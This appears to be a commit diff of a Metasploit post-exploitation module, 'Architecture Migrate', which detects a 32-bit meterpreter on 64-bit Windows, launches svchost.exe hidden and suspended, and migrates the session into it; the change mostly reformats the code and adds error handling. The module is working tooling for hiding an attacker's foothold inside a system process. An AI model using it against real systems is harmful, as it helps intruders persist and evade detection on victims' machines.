@@ -5,77 +5,81 @@ class MetasploitModule < Msf::Post
5
5
include Msf ::Post ::File
6
6
include Msf ::Post ::Common
7
7
8
- def initialize ( info = { } )
9
- super ( update_info ( info ,
10
- 'Name' => 'Architecture Migrate' ,
11
- 'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.} ,
12
- 'License' => MSF_LICENSE ,
13
- 'Author' => [ 'Koen Riepe ([email protected] )' ] ,
14
- 'References' => [ '' ] ,
15
- 'Platform' => [ 'win' ] ,
16
- 'Arch' => [ 'x86' , 'x64' ] ,
17
- 'SessionTypes' => [ 'meterpreter' ]
18
- ) )
8
+ def initialize ( info = { } )
9
+ super ( update_info ( info ,
10
+ 'Name' => 'Architecture Migrate' ,
11
+ 'Description' => %q{This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a new process with the correct architecture and migrates into that process.} ,
12
+ 'License' => MSF_LICENSE ,
13
+ 'Author' => [ 'Koen Riepe ([email protected] )' ] ,
14
+ 'References' => [ '' ] ,
15
+ 'Platform' => [ 'win' ] ,
16
+ 'Arch' => [ 'x86' , 'x64' ] ,
17
+ 'SessionTypes' => [ 'meterpreter' ]
18
+ ) )
19
19
20
- register_options (
21
- [
22
- OptString . new ( 'EXE' , [ true , 'The executable to start and migrate into' , 'C:\windows\sysnative\svchost.exe' ] ) ,
23
- OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] )
24
- ] , self . class )
25
- end
20
+ register_options (
21
+ [
22
+ OptString . new ( 'EXE' , [ true , 'The executable to start and migrate into' , 'C:\windows\sysnative\svchost.exe' ] ) ,
23
+ OptBool . new ( 'FALLBACK' , [ true , 'If the selected migration executable does not exist fallback to a sysnative file' , true ] )
24
+ ] , self . class )
25
+ end
26
26
27
- def is_32_bit_on_64_bits ( )
28
- apicall = session . railgun . kernel32 . IsWow64Process ( -1 , 4 ) [ "Wow64Process" ]
29
- if apicall == "\x00 \x00 \x00 \x00 "
30
- migrate = false
31
- else
32
- migrate = true
33
- end
34
- return migrate
27
+ def is_32_bit_on_64_bits
28
+ begin
29
+ apicall = session . railgun . kernel32 . IsWow64Process ( -1 , 4 ) [ "Wow64Process" ]
30
+ if apicall == "\x00 \x00 \x00 \x00 "
31
+ migrate = false
32
+ else
33
+ migrate = true
34
+ end
35
+ return migrate
36
+ rescue
37
+ print_error ( 'Railgun not available, this module only works for binary meterpreters.' )
35
38
end
39
+ end
36
40
37
- def get_windows_loc ( )
38
- apicall = session . railgun . kernel32 . GetEnvironmentVariableA ( "Windir" , 255 , 255 ) [ "lpBuffer" ]
39
- windir = apicall . split ( ":" ) [ 0 ]
40
- return windir
41
- end
41
+ def get_windows_loc
42
+ apicall = session . railgun . kernel32 . GetEnvironmentVariableA ( "Windir" , 255 , 255 ) [ "lpBuffer" ]
43
+ windir = apicall . split ( ":" ) [ 0 ]
44
+ return windir
45
+ end
42
46
43
- def run
44
- if is_32_bit_on_64_bits ( )
45
- print_status ( "The meterpreter is not the same architecture as the OS! Upgrading!" )
46
- newproc = datastore [ 'EXE' ]
47
- if exist? ( newproc )
48
- print_status ( "Starting new x64 process #{ newproc } " )
49
- pid = session . sys . process . execute ( newproc , nil , { 'Hidden' => true , 'Suspended' => true } ) . pid
50
- print_good ( "Got pid #{ pid } " )
51
- print_status ( "Migrating.." )
52
- session . core . migrate ( pid )
53
- if pid == session . sys . process . getpid
54
- print_good ( "Success!" )
55
- else
56
- print_error ( "Migration failed!" )
57
- end
47
+ def run
48
+ if is_32_bit_on_64_bits
49
+ print_status ( 'The meterpreter is not the same architecture as the OS! Upgrading!' )
50
+ newproc = datastore [ 'EXE' ]
51
+ if exist? ( newproc )
52
+ print_status ( "Starting new x64 process #{ newproc } " )
53
+ pid = session . sys . process . execute ( newproc , nil , { 'Hidden' => true , 'Suspended' => true } ) . pid
54
+ print_good ( "Got pid #{ pid } " )
55
+ print_status ( 'Migrating..' )
56
+ session . core . migrate ( pid )
57
+ if pid == session . sys . process . getpid
58
+ print_good ( 'Success!' )
59
+ else
60
+ print_error ( 'Migration failed!' )
61
+ end
62
+ else
63
+ print_error ( 'The selected executable to migrate into does not exist' )
64
+ if datastore [ 'FALLBACK' ]
65
+ windir = get_windows_loc
66
+ newproc = "#{ windir } :\\ windows\\ sysnative\\ svchost.exe"
67
+ if exist? ( newproc )
68
+ print_status ( "Starting new x64 process #{ newproc } " )
69
+ pid = session . sys . process . execute ( newproc , nil , { 'Hidden' => true , 'Suspended' => true } ) . pid
70
+ print_good ( "Got pid #{ pid } " )
71
+ print_status ( 'Migrating..' )
72
+ session . core . migrate ( pid )
73
+ if pid == session . sys . process . getpid
74
+ print_good ( 'Success!' )
58
75
else
59
- print_error ( "The selected executable to migrate into does not exist" )
60
- if datastore [ 'FALLBACK' ]
61
- windir = get_windows_loc ( )
62
- newproc = windir + ':\windows\sysnative\svchost.exe'
63
- if exist? ( newproc )
64
- print_status ( "Starting new x64 process #{ newproc } " )
65
- pid = session . sys . process . execute ( newproc , nil , { 'Hidden' => true , 'Suspended' => true } ) . pid
66
- print_good ( "Got pid #{ pid } " )
67
- print_status ( "Migrating.." )
68
- session . core . migrate ( pid )
69
- if pid == session . sys . process . getpid
70
- print_good ( "Success!" )
71
- else
72
- print_error ( "Migration failed!" )
73
- end
74
- end
75
- end
76
+ print_error ( 'Migration failed!' )
76
77
end
77
- else
78
- print_good ( "The meterpreter is the same architecture as the OS!" )
78
+ end
79
79
end
80
+ end
81
+ else
82
+ print_good ( 'The meterpreter is the same architecture as the OS!' )
80
83
end
84
+ end
81
85
end
0 commit comments